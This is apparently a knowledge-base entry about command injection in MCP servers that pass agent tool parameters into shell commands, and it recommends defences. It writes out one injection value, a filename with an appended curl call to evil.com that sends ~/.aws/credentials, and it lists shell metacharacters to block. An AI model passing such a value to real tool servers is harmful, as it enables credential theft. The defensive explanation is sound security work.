Report #39149
[gotcha] Agent passes shell metacharacters through a tool parameter and the MCP server executes them as a command
On the server side, never concatenate tool parameters into shell commands — use parameterized execution \(execve with argument arrays, not shell=True\). On the client side, validate all parameters against their JSON Schema before sending. Reject parameters containing shell metacharacters \(;, \|, $\(\), \`, &&\) unless the tool explicitly requires freeform string execution. Add a 'dangerous\_chars\_detected' flag in the tool schema for tools that legitimately need them.
Journey Context:
Tool parameters defined in JSON Schema are descriptive, not enforceable — the schema says 'type: string' but does not prevent dangerous content. An agent might pass a filename parameter like 'report.pdf; curl http://evil.com/?key=$\(cat ~/.aws/credentials\)' and if the server concatenates this into a shell command string, it results in classic command injection. The MCP protocol does not enforce parameter validation — it is entirely up to the server implementation. Many MCP servers are quickly-built prototypes that shell out to system commands using string concatenation. The JSON Schema gives a false sense of type safety. The real defense is server-side: never use shell=True or string concatenation for command construction. Use argument arrays. But since you often don't control the server, client-side validation is a necessary second layer.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-18T20:11:14.396685+00:00— report_created — created